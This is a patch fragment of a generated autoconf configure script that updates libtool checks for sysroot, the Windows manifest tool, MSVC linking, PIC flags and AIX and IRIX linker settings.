+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -6599,8 +6926,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -6610,8 +6937,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -6648,6 +6975,19 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
++
++
++
+
+
+
+@@ -6664,6 +7004,42 @@ fi
+
+
+
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -6875,6 +7251,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -7438,6 +7931,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -8020,8 +8515,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -8187,6 +8680,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -8249,7 +8748,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8306,13 +8805,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8373,6 +8876,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -8723,7 +9231,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -8822,12 +9331,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -8841,8 +9350,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -8860,8 +9369,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8907,8 +9416,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -9038,7 +9547,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9051,22 +9566,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -9078,7 +9600,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+
+ int
+@@ -9091,22 +9619,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -9151,20 +9686,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -9225,7 +9803,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -9233,7 +9811,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -9249,7 +9827,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9273,10 +9851,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9355,23 +9933,36 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
++ LDFLAGS="$save_LDFLAGS"
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_irix_exported_symbol" >&5
++$as_echo "$lt_cv_irix_exported_symbol" >&6; }
++ if test "$lt_cv_irix_exported_symbol" = yes; then
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
++ fi
+ else
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -o $lib'
+ archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags -soname $soname `test -n "$verstring" && func_echo_all "-set_version $verstring"` -update_registry ${output_objdir}/so_locations -exports_file $export_symbols -o $lib'
+@@ -9456,7 +10047,7 @@ rm -f core conftest.err conftest.$ac_objext \
+ osf4* | osf5*) # as osf3* with the addition of -msym flag
+ if test "$GCC" = yes; then
+ allow_undefined_flag=' ${wl}-expect_unresolved ${wl}\*'
+- archive_cmds='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared${allow_undefined_flag} $pic_flag $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ hardcode_libdir_flag_spec='${wl}-rpath ${wl}$libdir'
+ else
+ allow_undefined_flag=' -expect_unresolved \*'
